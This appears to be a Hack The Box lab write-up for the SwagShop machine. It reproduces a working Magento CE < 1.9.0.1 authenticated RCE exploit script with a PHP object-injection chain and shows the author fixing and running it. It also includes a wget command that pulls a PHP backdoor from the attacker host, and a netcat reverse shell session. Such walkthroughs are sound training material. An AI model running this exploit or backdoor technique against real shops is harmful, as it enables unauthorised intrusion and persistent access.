Remote Code Execution
┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ searchsploit Magento 1.9 Remote Code Execution
------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------- ---------------------------------
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | php/webapps/37811.py
------------------------------------------------------------- ---------------------------------
shellcodes: No Results
papers: No Results
There is a RCE exploit for `Magento CE < 1.9.0.1. This was found earlier during the web enumeration phase at the later stage after discovering the exact version It wasn’t as interesting at first as I did not have a valid credential to access the admin panel.
Now that I created an admin credential via the exploit chain attack (CVE-2015-1397
and CVE-2015-1398
), I will be able to use this exploit to gain a foothold
Exploit
#!/usr/bin/python
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Vendor Homepage: http://magento.com/
# Software Link: https://www.magentocommerce.com/download
# Version: 1.9.0.1 and below
# Tested on: Ubuntu 15
# CVE : none
from hashlib import md5
import sys
import re
import base64
import mechanize
def usage():
print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
sys.exit()
if len(sys.argv) != 3:
usage()
# Command-line args
target = sys.argv[1]
arg = sys.argv[2]
# Config.
username = ''
password = ''
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml
# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
'\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \
'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \
'_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
#br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)
request = br.open(target)
br.select_form(nr=0)
br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password
br.method = "POST"
request = br.submit()
content = request.read()
url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)
request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()
exploit = tunnel + '?ga=' + payload + '&h=' + gh
try:
request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
print e.read()
I wasn’t able to find a CVE number for the vulnerability that the above script is exploiting. I will continue searching.
The exploit above needed some modifications as the comments suggest.
This part of the exploit needed to be configured.
I first set the credential to the
username
and password
variable.
Then I set the install_date
variable to match that of the /app/etc/local.xml
file.
The
/app/etc/local.xml
file shows that the installation was made on Wed, 08 May 2019 07:23:09 +0000
Execution Errors
┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ python2 magento_ce_rce.py http://swagshop.htb "whoami"
traceback (most recent call last):
File "magento_CE_RCE.py", line 56, in <module>
br['login[password]'] = password
File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_mechanize.py", line 809, in __setitem__
self.form[name] = val
File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_form_controls.py", line 1963, in __setitem__
control = self.find_control(name)
File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_form_controls.py", line 2355, in find_control
return self._find_control(name, type, kind, id, label, predicate, nr)
File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_form_controls.py", line 2448, in _find_control
raise ControlNotFoundError("no control matching " + description)
mechanize._form_controls.controlnotfounderror: no control matching name 'login[password]'
Executing the exploit script fails with some error messages.
The error seems to be coming from the mechanize
module not being able to authenticate to the web application.
This appear to require debugging
Thankfully there is a commented line that sets up a proxy.
I will uncomment it and loop it through Burp Suite, so that I will be able to see what’s going on.
Debugging/Fixing The Exploit
┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ python2 magento_CE_RCE.py http://swagshop.htb/ "id"
Running this command
It sent a GET request to the web root, not the Authentication page.
┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ python2 magento_CE_RCE.py http://swagshop.htb/index.php/admin/ "id"
Traceback (most recent call last):
File "magento_CE_RCE.py", line 55, in <module>
br['login[username]'] = username
File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_mechanize.py", line 809, in __setitem__
self.form[name] = val
File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_form_controls.py", line 1963, in __setitem__
control = self.find_control(name)
File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_form_controls.py", line 2355, in find_control
return self._find_control(name, type, kind, id, label, predicate, nr)
File "/home/kali/.local/lib/python2.7/site-packages/mechanize/_form_controls.py", line 2446, in _find_control
description)
mechanize._form_controls.AmbiguityError: more than one control matching name 'login[username]'
Appending /index.php/admin/
, now shows a different error.
It says that there is more than one, 'login[username]'
Checking back at the source code, I know the reason.
The line 53 includes another
'login[username]'
. I guess that the writer put that there for their own environments.
I will comment that out, and it should work.
┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ python2 magento_CE_RCE.py http://swagshop.htb/index.php/admin/index/ "id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I got code execution confirmed!
Exploitation
┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ python2 magento_ce_rce.py http://swagshop.htb/index.php/admin/ 'wget http://10.10.14.11:8000/shell.php ; chmod 777 shell.php ; ls -la'
total 724
drwxr-xr-x 12 www-data www-data 4096 jan 26 15:06 .
drwxr-xr-x 3 root root 4096 Nov 12 2021 ..
-rw-r--r-- 1 www-data www-data 5667 May 7 2014 .htaccess
-rw-r--r-- 1 www-data www-data 4568 May 7 2014 .htaccess.sample
-rw-r--r-- 1 www-data www-data 10679 May 7 2014 LICENSE.html
-rw-r--r-- 1 www-data www-data 10410 May 7 2014 LICENSE.txt
-rw-r--r-- 1 www-data www-data 10421 May 7 2014 LICENSE_AFL.txt
-rw-r--r-- 1 www-data www-data 585086 May 7 2014 RELEASE_NOTES.txt
-rw-r--r-- 1 www-data www-data 2834 May 7 2014 api.php
drwxr-xr-x 6 www-data www-data 4096 Nov 12 2021 app
-rw-r--r-- 1 www-data www-data 2831 May 7 2014 cron.php
-rw-r--r-- 1 www-data www-data 717 May 7 2014 cron.sh
drwxr-xr-x 3 www-data www-data 4096 Nov 12 2021 errors
-rw-r--r-- 1 www-data www-data 1150 May 7 2014 favicon.ico
-rw-r--r-- 1 www-data www-data 5979 May 7 2014 get.php
drwxr-xr-x 2 www-data www-data 4096 Nov 12 2021 includes
-rw-r--r-- 1 www-data www-data 2642 May 7 2014 index.php
-rw-r--r-- 1 www-data www-data 2366 May 7 2014 index.php.sample
-rw-r--r-- 1 www-data www-data 6441 May 7 2014 install.php
drwxr-xr-x 12 www-data www-data 4096 Nov 12 2021 js
drwxr-xr-x 13 www-data www-data 4096 Nov 12 2021 lib
-rw-r--r-- 1 www-data www-data 1319 May 7 2014 mage
drwxrwxrwx 8 www-data www-data 4096 Nov 12 2021 media
-rw-r--r-- 1 www-data www-data 886 May 7 2014 php.ini.sample
drwxr-xr-x 2 www-data www-data 4096 Nov 12 2021 pkginfo
drwxrwxrwx 2 www-data www-data 4096 Nov 12 2021 shell
-rwxrwxrwx 1 www-data www-data 3034 jan 26 15:05 shell.php
drwxr-xr-x 5 www-data www-data 4096 Nov 12 2021 skin
drwxr-xr-x 10 www-data www-data 4096 jan 26 13:30 var
Uploading the payload over HTTP and confirming it
I can see the shell.php
file right there.
This is much better than just typing in a reverse shell command because that PHP file will now work as a backdoor from the web root.
I can call it if I ever lose the shell session
┌──(kali㉿kali)-[~/archive/htb/labs/swagshop]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.140] 48058
whoami
www-data
hostname
swagshop
ifconfig
ens160 link encap:Ethernet HWaddr 00:50:56:b9:a8:eb
inet addr:10.10.10.140 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: dead:beef::250:56ff:feb9:a8eb/64 Scope:Global
inet6 addr: fe80::250:56ff:feb9:a8eb/64 Scope:Link
up broadcast running multicast mtu:1500 Metric:1
rx packets:1004308 errors:0 dropped:143 overruns:0 frame:0
tx packets:1004011 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
rx bytes:181473596 (181.4 MB) TX bytes:464550991 (464.5 MB)
lo link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
up loopback running mtu:65536 Metric:1
rx packets:2034 errors:0 dropped:0 overruns:0 frame:0
tx packets:2034 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
rx bytes:261580 (261.5 KB) TX bytes:261580 (261.5 KB)
Initial Foothold established as www-data
to the target system via RCE